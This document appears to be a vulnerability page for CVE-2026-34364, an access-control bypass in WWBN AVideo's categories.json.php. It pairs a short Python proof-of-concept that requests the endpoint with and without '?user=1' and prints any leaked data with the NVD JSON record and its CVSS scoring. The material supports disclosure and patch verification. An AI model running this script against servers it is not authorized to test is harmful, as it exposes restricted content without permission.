CVE-2026-34364

import requests def check_vulnerability(target_url): """ Proof of Concept for CVE-2026-34364 Checks for access control bypass in categories.json.php """ endpoint = "/categories.json.php" full_url = target_url + endpoint # Case 1: Request without user parameter (skips filter) print("[*] Testing default request path...") try: r1 = requests.get(full_url, timeout=5) if r1.status_code == 200 and len(r1.content) > 0: print("[+] Potential leak detected on default path.") print(f"Content: {r1.text[:200]}") except Exception as e: print(f"Error: {e}") # Case 2: Request with user parameter (type confusion) print("\n[*] Testing type confusion path...") try: r2 = requests.get(full_url + "?user=1", timeout=5) if r2.status_code == 200 and len(r2.content) > 0: print("[+] Potential leak detected via user parameter.") print(f"Content: {r2.text[:200]}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost/avideo" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-34364", "sourceIdentifier": "[email protected]", "published": "2026-03-27T18:16:05.570", "lastModified": "2026-04-14T01:22:38.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `categories.json.php` endpoint, which serves the category listing API, fails to enforce user group-based access controls on categories. In the default request path (no `?user=` parameter), user group filtering is entirely skipped, exposing all non-private categories including those restricted to specific user groups. When the `?user=` parameter is supplied, a type confusion bug causes the filter to use the admin user's (user_id=1) group memberships instead of the current user's, rendering the filter ineffective. Commit 6e8a673eed07be5628d0b60fbfabd171f3ce74c9 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/6e8a673eed07be5628d0b60fbfabd171f3ce74c9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-73gr-r64q-7jh4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-73gr-r64q-7jh4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}